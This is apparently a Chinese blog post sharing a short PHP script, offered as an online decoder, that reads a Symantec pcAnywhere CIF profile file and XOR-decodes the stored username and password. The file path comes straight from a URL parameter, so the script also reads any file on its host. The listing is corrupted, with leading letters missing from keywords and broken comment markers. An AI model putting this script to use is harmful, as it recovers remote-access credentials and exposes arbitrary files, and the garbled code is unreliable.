PcAnywhere在线解密源码

  1. <?php
  2. * ---------------------------------------------------------- */
  3. * PcAnywhere CIF Decode
  4.  
  5. * ---------------------------------------------------------- */
  6.  rror_reporting(7);
  7.  unction PcAnywhere($data, $mode)
  8.  {
  9.  $Pass=substr($data, 2);
  10.  $str =0;
  11.  if ($mode == "Pass")$number=32;
  12.  if ($mode == "User")$number=64;
  13.  for ($i=0; $i < $number; $i+=2){
  14.  if ($mode == "Pass")$Cifnum=($str + 144);
  15.  if ($mode == "User")$Cifnum=($str + 15);
  16.  $PassWord=((Hexdec(substr($data, $i, 2)) ^ Hexdec(substr($Pass, $i, 2))) ^ $Cifnum);
  17.  if (($PassWord <= 32) or ($PassWord > 127))break;
  18.  $Num.=chr($PassWord);
  19.  $str++;}
  20.  return $Num;
  21.  }
  22.  $path=$_GET['path'];
  23.  //"C:\Documents and Settings\All Users\Application Data\Symantec\PcAnywhere\PCA.1v1.name.CIF"
  24.  $path=str_replace("\\\\","\\",$path);
  25.  $str =@file_get_contents($path);
  26.  $binstr = bin2hex ($str);
  27.  echo "Path:".$path."<br>";
  28.  echo "User:". PcAnywhere(substr($binstr,918,64), User)."<br>";
  29.  echo "Pass:". PcAnywhere(substr($binstr,1176,32), Pass)."<br>";
  30.  ?>
引用通告地址: 点击获取引用地址
标签: Corbie,pcanywhere
评论: 0 | 引用: 0 | 阅读: 254 | 打印 | 打包 | 转发
 加入网摘